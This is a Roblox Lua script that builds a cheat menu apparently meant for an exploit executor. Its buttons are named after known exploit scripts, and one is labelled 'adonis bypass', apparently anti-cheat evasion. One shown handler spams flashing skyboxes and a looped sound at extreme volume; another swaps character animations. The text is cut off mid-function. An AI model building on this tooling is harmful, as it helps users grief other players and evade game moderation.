-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local DancingCharrusco = Instance.new("TextButton")
local FER6 = Instance.new("TextButton")
local stigma = Instance.new("TextButton")
local johndoe = Instance.new("TextButton")
local c00lgui = Instance.new("TextButton")
local wontstopus = Instance.new("TextButton")
local telekinesis = Instance.new("TextButton")
local Adonisbypass = Instance.new("TextButton")
local rc7 = Instance.new("TextButton")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
Frame.Parent = ScreenGui
Frame.Active = true
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderColor3 = Color3.fromRGB(0, 255, 35)
Frame.Position = UDim2.new(0.248182625, 0, 0.223933652, 0)
Frame.Size = UDim2.new(0, 704, 0, 440)
Title.Name = "Title"
Title.Parent = Frame
Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Title.BackgroundTransparency = 1.000
Title.BorderColor3 = Color3.fromRGB(0, 0, 0)
Title.BorderSizePixel = 0
Title.Position = UDim2.new(0.356534094, 0, 0.0409090891, 0)
Title.Size = UDim2.new(0, 200, 0, 50)
Title.Font = Enum.Font.Bangers
Title.Text = "c4cas1t0 GUI"
Title.TextColor3 = Color3.fromRGB(6, 255, 0)
Title.TextSize = 30.000
DancingCharrusco.Name = "DancingCharrusco"
DancingCharrusco.Parent = Frame
DancingCharrusco.BackgroundColor3 = Color3.fromRGB(0, 255, 25)
DancingCharrusco.BorderColor3 = Color3.fromRGB(0, 0, 0)
DancingCharrusco.BorderSizePixel = 0
DancingCharrusco.Position = UDim2.new(0.0426136367, 0, 0.234090909, 0)
DancingCharrusco.Size = UDim2.new(0, 173, 0, 71)
DancingCharrusco.Font = Enum.Font.Bangers
DancingCharrusco.Text = "dancing charrusco"
DancingCharrusco.TextColor3 = Color3.fromRGB(0, 0, 0)
DancingCharrusco.TextSize = 22.000
FER6.Name = "FE R6"
FER6.Parent = Frame
FER6.BackgroundColor3 = Color3.fromRGB(0, 255, 25)
FER6.BorderColor3 = Color3.fromRGB(0, 0, 0)
FER6.BorderSizePixel = 0
FER6.Position = UDim2.new(0.356534094, 0, 0.234090909, 0)
FER6.Size = UDim2.new(0, 173, 0, 71)
FER6.Font = Enum.Font.Bangers
FER6.Text = "fe r6"
FER6.TextColor3 = Color3.fromRGB(0, 0, 0)
FER6.TextSize = 49.000
stigma.Name = "stigma"
stigma.Parent = Frame
stigma.BackgroundColor3 = Color3.fromRGB(0, 255, 25)
stigma.BorderColor3 = Color3.fromRGB(0, 0, 0)
stigma.BorderSizePixel = 0
stigma.Position = UDim2.new(0.684659064, 0, 0.234090909, 0)
stigma.Size = UDim2.new(0, 173, 0, 71)
stigma.Font = Enum.Font.Bangers
stigma.Text = "project stigma (public version)"
stigma.TextColor3 = Color3.fromRGB(0, 0, 0)
stigma.TextSize = 13.000
johndoe.Name = "john doe"
johndoe.Parent = Frame
johndoe.BackgroundColor3 = Color3.fromRGB(0, 255, 25)
johndoe.BorderColor3 = Color3.fromRGB(0, 0, 0)
johndoe.BorderSizePixel = 0
johndoe.Position = UDim2.new(0.0426136367, 0, 0.484090894, 0)
johndoe.Size = UDim2.new(0, 173, 0, 71)
johndoe.Font = Enum.Font.Bangers
johndoe.Text = "john doe"
johndoe.TextColor3 = Color3.fromRGB(0, 0, 0)
johndoe.TextSize = 40.000
c00lgui.Name = "c00lgui"
c00lgui.Parent = Frame
c00lgui.BackgroundColor3 = Color3.fromRGB(0, 255, 25)
c00lgui.BorderColor3 = Color3.fromRGB(0, 0, 0)
c00lgui.BorderSizePixel = 0
c00lgui.Position = UDim2.new(0.356534094, 0, 0.484090894, 0)
c00lgui.Size = UDim2.new(0, 173, 0, 71)
c00lgui.Font = Enum.Font.Bangers
c00lgui.Text = "c00lgui"
c00lgui.TextColor3 = Color3.fromRGB(0, 0, 0)
c00lgui.TextSize = 40.000
wontstopus.Name = "wont stop us"
wontstopus.Parent = Frame
wontstopus.BackgroundColor3 = Color3.fromRGB(0, 255, 25)
wontstopus.BorderColor3 = Color3.fromRGB(0, 0, 0)
wontstopus.BorderSizePixel = 0
wontstopus.Position = UDim2.new(0.684659064, 0, 0.484090894, 0)
wontstopus.Size = UDim2.new(0, 173, 0, 71)
wontstopus.Font = Enum.Font.Bangers
wontstopus.Text = "won't stop us"
wontstopus.TextColor3 = Color3.fromRGB(0, 0, 0)
wontstopus.TextSize = 33.000
telekinesis.Name = "telekinesis"
telekinesis.Parent = Frame
telekinesis.BackgroundColor3 = Color3.fromRGB(0, 255, 25)
telekinesis.BorderColor3 = Color3.fromRGB(0, 0, 0)
telekinesis.BorderSizePixel = 0
telekinesis.Position = UDim2.new(0.0426136367, 0, 0.747727275, 0)
telekinesis.Size = UDim2.new(0, 173, 0, 71)
telekinesis.Font = Enum.Font.Bangers
telekinesis.Text = "telekinesis"
telekinesis.TextColor3 = Color3.fromRGB(0, 0, 0)
telekinesis.TextSize = 43.000
Adonisbypass.Name = "Adonis bypass"
Adonisbypass.Parent = Frame
Adonisbypass.BackgroundColor3 = Color3.fromRGB(0, 255, 25)
Adonisbypass.BorderColor3 = Color3.fromRGB(0, 0, 0)
Adonisbypass.BorderSizePixel = 0
Adonisbypass.Position = UDim2.new(0.356534094, 0, 0.747727275, 0)
Adonisbypass.Size = UDim2.new(0, 173, 0, 71)
Adonisbypass.Font = Enum.Font.Bangers
Adonisbypass.Text = "adonis bypass"
Adonisbypass.TextColor3 = Color3.fromRGB(0, 0, 0)
Adonisbypass.TextSize = 32.000
rc7.Name = "rc7"
rc7.Parent = Frame
rc7.BackgroundColor3 = Color3.fromRGB(0, 255, 25)
rc7.BorderColor3 = Color3.fromRGB(0, 0, 0)
rc7.BorderSizePixel = 0
rc7.Position = UDim2.new(0.684659064, 0, 0.747727275, 0)
rc7.Size = UDim2.new(0, 173, 0, 71)
rc7.Font = Enum.Font.Bangers
rc7.Text = "rc7"
rc7.TextColor3 = Color3.fromRGB(0, 0, 0)
rc7.TextSize = 50.000
-- Scripts:
local function OMNSKG_fake_script() -- Frame.MoveScript
local script = Instance.new('LocalScript', Frame)
local frame = script.Parent
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local UIS = game:GetService("UserInputService")
local dragging = false
local dragStart
local startPos
-- Cuando presionas el mouse sobre el frame
frame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
dragStart = input.Position
startPos = frame.Position
end
end)
-- Cuando sueltas el mouse
frame.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = false
end
end)
-- Mientras mueves el mouse
UIS.InputChanged:Connect(function(input)
if dragging and input.UserInputType == Enum.UserInputType.MouseMovement then
local delta = input.Position - dragStart
frame.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
end)
end
coroutine.wrap(OMNSKG_fake_script)()
local function QXZMQCN_fake_script() -- DancingCharrusco.LocalScript
local script = Instance.new('LocalScript', DancingCharrusco)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local imageOne = "http://www.roblox.com/asset/?id=169585459"
local imageTwo = "http://www.roblox.com/asset/?id=169585475"
local imageThree = "http://www.roblox.com/asset/?id=169585485"
local imageFour = "http://www.roblox.com/asset/?id=169585502"
local imageFive = "http://www.roblox.com/asset/?id=169585515"
local imageSix = "http://www.roblox.com/asset/?id=169585502"
local imageSeven = "http://www.roblox.com/asset/?id=169585485"
local imageEight = "http://www.roblox.com/asset/?id=169585475"
local Spooky = Instance.new("Sound")
Spooky.Name = "Spooky"
Spooky.SoundId = "rbxassetid://4808613510"
Spooky.Volume = 1500
Spooky.Looped = true
Spooky.Parent = game.Workspace
Spooky:Play()
local Sky = Instance.new("Sky")
Sky.Parent = game.Lighting
while true do
Sky.SkyboxBk = imageOne
Sky.SkyboxDn = imageOne
Sky.SkyboxFt = imageOne
Sky.SkyboxLf = imageOne
Sky.SkyboxRt = imageOne
Sky.SkyboxUp = imageOne
wait(0.25)
Sky.SkyboxBk = imageTwo
Sky.SkyboxDn = imageTwo
Sky.SkyboxFt = imageTwo
Sky.SkyboxLf = imageTwo
Sky.SkyboxRt = imageTwo
Sky.SkyboxUp = imageTwo
wait(0.25)
Sky.SkyboxBk = imageThree
Sky.SkyboxDn = imageThree
Sky.SkyboxFt = imageThree
Sky.SkyboxLf = imageThree
Sky.SkyboxRt = imageThree
Sky.SkyboxUp = imageThree
wait(0.25)
Sky.SkyboxBk = imageFour
Sky.SkyboxDn = imageFour
Sky.SkyboxFt = imageFour
Sky.SkyboxLf = imageFour
Sky.SkyboxRt = imageFour
Sky.SkyboxUp = imageFour
wait(0.25)
Sky.SkyboxBk = imageFive
Sky.SkyboxDn = imageFive
Sky.SkyboxFt = imageFive
Sky.SkyboxLf = imageFive
Sky.SkyboxRt = imageFive
Sky.SkyboxUp = imageFive
wait(0.25)
Sky.SkyboxBk = imageSix
Sky.SkyboxDn = imageSix
Sky.SkyboxFt = imageSix
Sky.SkyboxLf = imageSix
Sky.SkyboxRt = imageSix
Sky.SkyboxUp = imageSix
wait(0.25)
Sky.SkyboxBk = imageSeven
Sky.SkyboxDn = imageSeven
Sky.SkyboxFt = imageSeven
Sky.SkyboxLf = imageSeven
Sky.SkyboxRt = imageSeven
Sky.SkyboxUp = imageSeven
wait(0.25)
Sky.SkyboxBk = imageEight
Sky.SkyboxDn = imageEight
Sky.SkyboxFt = imageEight
Sky.SkyboxLf = imageEight
Sky.SkyboxRt = imageEight
Sky.SkyboxUp = imageEight
wait(0.25)
end
end)
end
coroutine.wrap(QXZMQCN_fake_script)()
local function JEVY_fake_script() -- FER6.LocalScript
local script = Instance.new('LocalScript', FER6)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local plr = game:GetService("Players").LocalPlayer
function RunCustomAnimation(Char)
if Char:WaitForChild("Animate") ~= nil then
Char.Animate.Disabled = true
end
Char:WaitForChild("Humanoid")
for i,v in next, Char.Humanoid:GetPlayingAnimationTracks() do
v:Stop()
end
--fake script
local script = Char.Animate
local Character = Char
local Humanoid = Character:WaitForChild("Humanoid")
local pose = "Standing"
local UserGameSettings = UserSettings():GetService("UserGameSettings")
local userNoUpdateOnLoopSuccess, userNoUpdateOnLoopValue = pcall(function() return UserSettings():IsUserFeatureEnabled("UserNoUpdateOnLoop") end)
local userNoUpdateOnLoop = userNoUpdateOnLoopSuccess and userNoUpdateOnLoopValue
local AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent")
local HumanoidHipHeight = 2
local humanoidSpeed = 0 -- speed most recently sent to us from onRunning()
local cachedRunningSpeed = 0 -- The most recent speed used to compute blends. Tiny variations from cachedRunningSpeed will not cause animation updates.
local cachedLocalDirection = {x=0.0, y=0.0} -- unit 2D object space direction of motion
local smallButNotZero = 0.0001 -- We want weights to be small but not so small the animation stops
local runBlendtime = 0.2
local lastLookVector = Vector3.new(0.0, 0.0, 0.0) -- used to track whether rootPart orientation is changing.
local lastBlendTime = 0 -- The last time we blended velocities
local WALK_SPEED = 6.4
local RUN_SPEED = 12.8
local EMOTE_TRANSITION_TIME = 0.1
local currentAnim = ""
local currentAnimInstance = nil
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local PreloadedAnims = {}
local animTable = {}
local animNames = {
idle = {
{ id = "http://www.roblox.com/asset/?id=12521158637", weight = 9 },
{ id = "http://www.roblox.com/asset/?id=12521162526", weight = 1 },
},
walk = {
{ id = "http://www.roblox.com/asset/?id=12518152696", weight = 10 }
},
run = {
{ id = "http://www.roblox.com/asset/?id=12518152696", weight = 10 }
},
jump = {
{ id = "http://www.roblox.com/asset/?id=12520880485", weight = 10 }
},
fall = {
{ id = "http://www.roblox.com/asset/?id=12520972571", weight = 10 }
},
climb = {
{ id = "http://www.roblox.com/asset/?id=12520982150", weight = 10 }
},
sit = {
{ id = "http://www.roblox.com/asset/?id=12520993168", weight = 10 }
},
toolnone = {
{ id = "http://www.roblox.com/asset/?id=12520996634", weight = 10 }
},
toolslash = {
{ id = "http://www.roblox.com/asset/?id=12520999032", weight = 10 }
},
toollunge = {
{ id = "http://www.roblox.com/asset/?id=12521002003", weight = 10 }
},
wave = {
{ id = "http://www.roblox.com/asset/?id=12521004586", weight = 10 }
},
point = {
{ id = "http://www.roblox.com/asset/?id=12521007694", weight = 10 }
},
dance = {
{ id = "http://www.roblox.com/asset/?id=12521009666", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=12521151637", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=12521015053", weight = 10 }
},
dance2 = {
{ id = "http://www.roblox.com/asset/?id=12521169800", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=12521173533", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=12521027874", weight = 10 }
},
dance3 = {
{ id = "http://www.roblox.com/asset/?id=12521178362", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=12521181508", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=12521184133", weight = 10 }
},
laugh = {
{ id = "http://www.roblox.com/asset/?id=12521018724", weight = 10 }
},
cheer = {
{ id = "http://www.roblox.com/asset/?id=12521021991", weight = 10 }
},
}
local strafingLocomotionMap = {}
local fallbackLocomotionMap = {}
local locomotionMap = strafingLocomotionMap
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
math.randomseed(tick())
function findExistingAnimationInSet(set, anim)
if set == nil or anim == nil then
return 0
end
for idx = 1, set.count, 1 do
if set[idx].anim.AnimationId == anim.AnimationId then
return idx
end
end
return 0
end
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
-- uncomment this section to allow players to load with their
-- own (non-classic) animations
local config = script:FindFirstChild(name)
if (config ~= nil) then
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 0
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
local newWeight = 1
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject ~= nil) then
newWeight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
idx = animTable[name].count
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
animTable[name][idx].weight = newWeight
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end))
local lv = childPart:GetAttribute("LinearVelocity")
if lv then
strafingLocomotionMap[name] = {lv=lv, speed = lv.Magnitude}
end
if name == "run" or name == "walk" then
if lv then
fallbackLocomotionMap[name] = strafingLocomotionMap[name]
else
local speed = name == "run" and RUN_SPEED or WALK_SPEED
fallbackLocomotionMap[name] = {lv=Vector2.new(0.0, speed), speed = speed}
locomotionMap = fallbackLocomotionMap
-- If you don't have a linear velocity with your run or walk, you can't blend/strafe
--warn("Strafe blending disabled. No linear velocity information for "..'"'.."walk"..'"'.." and "..'"'.."run"..'"'..".")
end
end
end
end
end
-- if you uncomment the above section, comment out this "if"-block
if name == "run" or name == "walk" then
local speed = name == "run" and RUN_SPEED or WALK_SPEED
fallbackLocomotionMap[name] = {lv=Vector2.new(0.0, speed), speed = speed}
locomotionMap = fallbackLocomotionMap
-- If you don't have a linear velocity with your run or walk, you can't blend/strafe
--warn("Strafe blending disabled. No linear velocity information for "..'"'.."walk"..'"'.." and "..'"'.."run"..'"'..".")
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
end
end
-- preload anims
for i, animType in pairs(animTable) do
for idx = 1, animType.count, 1 do
if PreloadedAnims[animType[idx].anim.AnimationId] == nil then
Humanoid:LoadAnimation(animType[idx].anim)
PreloadedAnims[animType[idx].anim.AnimationId] = true
end
end
end
end
-- Setup animation objects
function scriptChildModified(child)
local fileList = animNames[child.Name]
if (fileList ~= nil) then
configureAnimationSet(child.Name, fileList)
else
if child:isA("StringValue") then
animNames[child.Name] = {}
configureAnimationSet(child.Name, animNames[child.Name])
end
end
end
script.ChildAdded:connect(scriptChildModified)
script.ChildRemoved:connect(scriptChildModified)
-- Clear any existing animation tracks
-- Fixes issue with characters that are moved in and out of the Workspace accumulating tracks
local animator = if Humanoid then Humanoid:FindFirstChildOfClass("Animator") else nil
if animator then
local animTracks = animator:GetPlayingAnimationTracks()
for i,track in ipairs(animTracks) do
track:Stop(0)
track:Destroy()
end
end
for name, fileList in pairs(animNames) do
configureAnimationSet(name, fileList)
end
for _,child in script:GetChildren() do
if child:isA("StringValue") and not animNames[child.name] then
animNames[child.Name] = {}
configureAnimationSet(child.Name, animNames[child.Name])
end
end
-- ANIMATION
-- declarations
local toolAnim = "None"
local toolAnimTime = 0
local jumpAnimTime = 0
local jumpAnimDuration = 0.31
local toolTransitionTime = 0.1
local fallTransitionTime = 0.2
local currentlyPlayingEmote = false
-- functions
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
if currentlyPlayingEmote then
oldAnim = "idle"
currentlyPlayingEmote = false
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
for _,v in pairs(locomotionMap) do
if v.track then
v.track:Stop()
v.track:Destroy()
v.track = nil
end
end
return oldAnim
end
function getHeightScale()
if Humanoid then
if not Humanoid.AutomaticScalingEnabled then
return 1
end
local scale = Humanoid.HipHeight / HumanoidHipHeight
if AnimationSpeedDampeningObject == nil then
AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent")
end
if AnimationSpeedDampeningObject ~= nil then
scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight
end
return scale
end
return 1
end
local function signedAngle(a, b)
return -math.atan2(a.x * b.y - a.y * b.x, a.x * b.x + a.y * b.y)
end
local angleWeight = 2.0
local function get2DWeight(px, p1, p2, sx, s1, s2)
local avgLength = 0.5 * (s1 + s2)
local p_1 = {x = (sx - s1)/avgLength, y = (angleWeight * signedAngle(p1, px))}
local p12 = {x = (s2 - s1)/avgLength, y = (angleWeight * signedAngle(p1, p2))}
local denom = smallButNotZero + (p12.x*p12.x + p12.y*p12.y)
local numer = p_1.x * p12.x + p_1.y * p12.y
local r = math.clamp(1.0 - numer/denom, 0.0, 1.0)
return r
end
local function blend2D(targetVelo, targetSpeed)
local h = {}
local sum = 0.0
for n,v1 in pairs(locomotionMap) do
if targetVelo.x * v1.lv.x < 0.0 or targetVelo.y * v1.lv.y < 0 then
-- Require same quadrant as target
h[n] = 0.0
continue
end
h[n] = math.huge
for j,v2 in pairs(locomotionMap) do
if targetVelo.x * v2.lv.x < 0.0 or targetVelo.y * v2.lv.y < 0 then
-- Require same quadrant as target
continue
end
h[n] = math.min(h[n], get2DWeight(targetVelo, v1.lv, v2.lv, targetSpeed, v1.speed, v2.speed))
end
sum += h[n]
end
--truncates below 10% contribution
local sum2 = 0.0
local weightedVeloX = 0
local weightedVeloY = 0
for n,v in pairs(locomotionMap) do
if (h[n] / sum > 0.1) then
sum2 += h[n]
weightedVeloX += h[n] * v.lv.x
weightedVeloY += h[n] * v.lv.y
else
h[n] = 0.0
end
end
local animSpeed
local weightedSpeedSquared = weightedVeloX * weightedVeloX + weightedVeloY * weightedVeloY
if weightedSpeedSquared > smallButNotZero then
animSpeed = math.sqrt(targetSpeed * targetSpeed / weightedSpeedSquared)
else
animSpeed = 0
end
animSpeed = animSpeed / getHeightScale()
local groupTimePosition = 0
for n,v in pairs(locomotionMap) do
if v.track.IsPlaying then
groupTimePosition = v.track.TimePosition
break
end
end
for n,v in pairs(locomotionMap) do
-- if not loco
if h[n] > 0.0 then
if not v.track.IsPlaying then
v.track:Play(runBlendtime)
v.track.TimePosition = groupTimePosition
end
local weight = math.max(smallButNotZero, h[n] / sum2)
v.track:AdjustWeight(weight, runBlendtime)
v.track:AdjustSpeed(animSpeed)
else
v.track:Stop(runBlendtime)
end
end
end
local function getWalkDirection()
local walkToPoint = Humanoid.WalkToPoint
local walkToPart = Humanoid.WalkToPart
if Humanoid.MoveDirection ~= Vector3.zero then
return Humanoid.MoveDirection
elseif walkToPart or walkToPoint ~= Vector3.zero then
local destination
if walkToPart then
destination = walkToPart.CFrame:PointToWorldSpace(walkToPoint)
else
destination = walkToPoint
end
local moveVector = Vector3.zero
if Humanoid.RootPart then
moveVector = destination - Humanoid.RootPart.CFrame.Position
moveVector = Vector3.new(moveVector.x, 0.0, moveVector.z)
local mag = moveVector.Magnitude
if mag > 0.01 then
moveVector /= mag
end
end
return moveVector
else
return Humanoid.MoveDirection
end
end
local function updateVelocity(currentTime)
local tempDir
if locomotionMap == strafingLocomotionMap then
local moveDirection = getWalkDirection()
if not Humanoid.RootPart then
return
end
local cframe = Humanoid.RootPart.CFrame
if math.abs(cframe.UpVector.Y) < smallButNotZero or pose ~= "Running" or humanoidSpeed < 0.001 then
-- We are horizontal! Do something (turn off locomotion)
for n,v in pairs(locomotionMap) do
if v.track then
v.track:AdjustWeight(smallButNotZero, runBlendtime)
end
end
return
end
local lookat = cframe.LookVector
local direction = Vector3.new(lookat.X, 0.0, lookat.Z)
direction = direction / direction.Magnitude --sensible upVector means this is non-zero.
local ly = moveDirection:Dot(direction)
if ly <= 0.0 and ly > -0.05 then
ly = smallButNotZero -- break quadrant ties in favor of forward-friendly strafes
end
local lx = direction.X*moveDirection.Z - direction.Z*moveDirection.X
local tempDir = Vector2.new(lx, ly) -- root space moveDirection
local delta = Vector2.new(tempDir.x-cachedLocalDirection.x, tempDir.y-cachedLocalDirection.y)
-- Time check serves the purpose of the old keyframeReached sync check, as it syncs anim timePosition
if delta:Dot(delta) > 0.001 or math.abs(humanoidSpeed - cachedRunningSpeed) > 0.01 or currentTime - lastBlendTime > 1 then
cachedLocalDirection = tempDir
cachedRunningSpeed = humanoidSpeed
lastBlendTime = currentTime
blend2D(cachedLocalDirection, cachedRunningSpeed)
end
else
if math.abs(humanoidSpeed - cachedRunningSpeed) > 0.01 or currentTime - lastBlendTime > 1 then
cachedRunningSpeed = humanoidSpeed
lastBlendTime = currentTime
blend2D(Vector2.yAxis, cachedRunningSpeed)
end
end
end
function setAnimationSpeed(speed)
if currentAnim ~= "walk" then
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
if currentlyPlayingEmote then
if currentAnimTrack.Looped then
-- Allow the emote to loop
return
end
repeatAnim = "idle"
currentlyPlayingEmote = false
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Humanoid)
setAnimationSpeed(animSpeed)
end
end
function rollAnimation(animName)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
return idx
end
local maxVeloX, minVeloX, maxVeloY, minVeloY
local function destroyRunAnimations()
for _,v in pairs(strafingLocomotionMap) do
if v.track then
v.track:Stop()
v.track:Destroy()
v.track = nil
end
end
for _,v in pairs(fallbackLocomotionMap) do
if v.track then
v.track:Stop()
v.track:Destroy()
v.track = nil
end
end
cachedRunningSpeed = 0
end
local function resetVelocityBounds(velo)
minVeloX = 0
maxVeloX = 0
minVeloY = 0
maxVeloY = 0
end
local function updateVelocityBounds(velo)
if velo then
if velo.x > maxVeloX then maxVeloX = velo.x end
if velo.y > maxVeloY then maxVeloY = velo.y end
if velo.x < minVeloX then minVeloX = velo.x end
if velo.y < minVeloY then minVeloY = velo.y end
end
end
local function checkVelocityBounds(velo)
if maxVeloX == 0 or minVeloX == 0 or maxVeloY == 0 or minVeloY == 0 then
if locomotionMap == strafingLocomotionMap then
warn("Strafe blending disabled. Not all quadrants of motion represented.")
end
locomotionMap = fallbackLocomotionMap
else
locomotionMap = strafingLocomotionMap
end
end
local function setupWalkAnimation(anim, animName, transitionTime, humanoid)
resetVelocityBounds()
-- check to see if we need to blend a walk/run animation
for n,v in pairs(locomotionMap) do
v.track = humanoid:LoadAnimation(animTable[n][1].anim)
v.track.Priority = Enum.AnimationPriority.Core
updateVelocityBounds(v.lv)
end
checkVelocityBounds()
end
local function switchToAnim(anim, animName, transitionTime, humanoid)
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimSpeed = 1.0
currentAnim = animName
currentAnimInstance = anim -- nil in the case of locomotion
if animName == "walk" then
setupWalkAnimation(anim, animName, transitionTime, humanoid)
else
destroyRunAnimations()
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
currentAnimTrack:Play(transitionTime)
-- set up keyframe name triggers
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
end
function playAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
switchToAnim(anim, animName, transitionTime, humanoid)
currentlyPlayingEmote = false
end
function playEmote(emoteAnim, transitionTime, humanoid)
switchToAnim(emoteAnim, emoteAnim.Name, transitionTime, humanoid)
currentlyPlayingEmote = true
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
local toolAnimName = ""
local toolAnimTrack = nil
local toolAnimInstance = nil
local currentToolAnimKeyframeHandler = nil
function toolKeyFrameReachedFunc(frameName)
if (frameName == "End") then
playToolAnimation(toolAnimName, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid, priority)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
if (toolAnimInstance ~= anim) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
if priority then
toolAnimTrack.Priority = priority
end
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
toolAnimInstance = anim
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
toolAnimInstance = nil
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS
function onRunning(speed)
local movedDuringEmote = currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0)
local speedThreshold = movedDuringEmote and Humanoid.WalkSpeed or 0.75
humanoidSpeed = speed
if speed > speedThreshold then
playAnimation("walk", 0.2, Humanoid)
if pose ~= "Running" then
pose = "Running"
updateVelocity(0) -- Force velocity update in response to state change
end
else
if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then
playAnimation("idle", 0.2, Humanoid)
pose = "Standing"
end
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
local scale = 5.0
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
function onSwimming(speed)
if speed > 0 then
pose = "Running"
else
pose = "Standing"
end
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
if (toolAnim == "Lunge") then
